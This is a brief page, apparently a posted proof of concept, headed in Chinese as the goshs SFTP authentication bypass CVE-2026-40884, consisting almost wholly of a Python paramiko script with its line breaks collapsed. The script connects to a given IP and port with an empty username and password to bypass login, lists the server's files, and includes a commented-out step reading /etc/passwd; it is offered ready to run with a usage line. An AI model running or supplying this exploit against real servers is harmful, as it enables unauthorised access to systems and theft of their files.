CVE-2026-40884 goshs SFTP认证绕过漏洞

import paramiko import sys # Exploit for CVE-2026-40884: goshs SFTP Authentication Bypass # Target: goshs < 2.0.0-beta.6 started with `-b ':pass'` and `-sftp` def exploit(target_ip, target_port): try: # Create a transport client transport = paramiko.Transport((target_ip, target_port)) # Attempt to connect without authentication (or empty credentials) # The vulnerability allows bypassing the password check transport.connect(username='', password='') sftp = paramiko.SFTPClient.from_transport(transport) print("[+] Connection established! Authentication bypassed.") # List files to prove access files = sftp.listdir('.') print(f"[+] Files in root directory: {files}") # Example: Read a sensitive file # try: # with sftp.file('/etc/passwd', 'r') as f: # print(f.read().decode()) # except: # pass sftp.close() transport.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <IP> <PORT>") else: exploit(sys.argv[1], int(sys.argv[2]))